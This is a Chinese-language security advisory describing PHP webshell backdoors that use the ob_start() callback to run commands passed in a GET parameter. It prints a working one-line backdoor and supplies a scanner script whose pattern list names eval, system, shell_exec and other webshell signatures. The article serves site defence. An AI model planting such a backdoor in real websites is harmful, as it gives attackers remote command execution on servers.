概述:
度易網絡(nnld.net)9月12日消息:度易網絡從日志寶安全團隊獲悉,近日,根據日志寶分析平臺的分析數據顯示,部分網站的訪問日志中存在大量命令執行類后門行為。我們與用戶取得聯系后拿到后門文件代碼。此類后門通過PHP的ob_start()函數觸發,利用ob_start()函數回調機
度易網絡(nnld.net)9月12日消息:度易網絡從日志寶安全團隊獲悉,近日,根據日志寶分析平臺的分析數據顯示,部分網站的訪問日志中存在大量命令執行類后門行為。
我們與用戶取得聯系后拿到后門文件代碼。此類后門通過PHP的ob_start()函數觸發,利用ob_start()函數回調機制調用命令執行類函數并接受黑客遠程發送的命令,此類后門代碼可以躲避部分常見后門關鍵字查殺程序,最終以Web服務器權限遠程執行任意命令。
PHP 手冊中關于ob_start()函數回調機制的相關說明:

Ob_start()函數后門代碼如下:
<?php
$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?>
后門利用效果如下圖:

針對此類后門行為,建議站長們檢查網頁源代碼中是否出現ob_start()函數調用,并檢查ob_start()的參數是否是常見的命令執行類函數(system,exec,popen,shell_exec等)或者其他可疑函數調用。
為了方便站長們檢查網站源代碼中是否出現可疑后門程序或者危險函數調用,日志寶安全團隊編寫了一款簡易的PHP后門檢測小腳本,可以快速方便的幫助站長檢測網站文件是否被插入惡意后門代碼,源代碼和使用方法如下:
#!/usr/bin/php -q
<?php#簡易PHPwebshell檢測腳本-By 日志寶安全團隊
#檢測特征如下:
#eva l(\$\_POST 匹配 eva l($_POST[cmd])--PHP一句話后門代碼
#system(),exec(),shell_exec(),popen(),passthru(),proc_open()這些函數可以執行系統命令,名且在PHPSPY木馬中使用
#phpinfo() 后門中經常出現的函數,正常文件中也可能出現造成敏感信息泄露
#eva l(base64 匹配經過base64編碼后的后門
#eva l(gzuncompress 匹配經過gzip壓縮過的后門
#`*` 匹配類似`$_REQUEST[cmd]`的一句話后門
#其他可以遠程執行命令或者直接生成后門文件的危險函數(dl,assert,error_log,ob_start,preg_replace /e)#使用方法
./findshell.php /home/wwwroot/(此處填寫web目錄路徑) > result.log
程序的分析結果將保存在當前目錄下的result.log文件中
set_time_limit(0);
function find($directory)
{
$mydir=dir($directory);
while($file=$mydir->read()){
if((is_dir("$directory/$file"))&&($file!=".")&&($file!=".."))
{
find("$directory/$file");
}
else{
if($file != "." && $file != ".."&&eregi(".php",$file)){
$fd=realpath($directory."/".$file);
$fp = fopen($fd, "r");
$i=0;
while ($buffer = fgets($fp, 4096)) {
$i++; if((eregi("eva l(\$\_POST",$buffer))||(eregi("system(",$buffer))||(eregi("exec(",$buffer))||(eregi("shell_exec(",$buffer))||(eregi("popen(",$buffer))||(eregi("phpinfo(",$buffer))||(eregi("passthru(",$buffer))||(eregi("proc_open(",$buffer))||(eregi("phpspy",$buffer))||(eregi("eva l(base64",$buffer))||(eregi("eva l(gzuncompress",$buffer))||(eregi("preg_replace(/^/e,$",$buffer))||(eregi("preg_replace("/^/e",$buffer))||(eregi("assert(",$buffer))||(eregi("ob_start(",$buffer))||(eregi("error_log(",$buffer))||(eregi("dl(",$buffer))){
all();
echo "可疑文件路徑:".$fd." Line".$i.":".$buffer." ";
}
}
fclose($fp);
}
}
}
$mydir->close();
}
function all()
{
static $count = 1;
echo $count;
$count++;
}find($argv[1]);
?>
使用日志寶分析日志可以發現絕大部分常見Web后門的可疑訪問行為,但是由于PHP語法的松散導致可以利用常規函數實現部分后門行為,比如執行系統命令等,因此也會出現一些遺漏和誤報。在開發網站的過程中開發者需要有一定的安全編程意識,注意變量的初始化以及其他邏輯問題,加入一些安全過濾函數等防范措施,從網站本身的代碼安全做起,才能起到深度防御的效果。希望廣大站長能夠通過日志寶分享的安全知識&技巧了解到更多Web安全相關內容,讓自己的網站更加穩定、安全的運行。

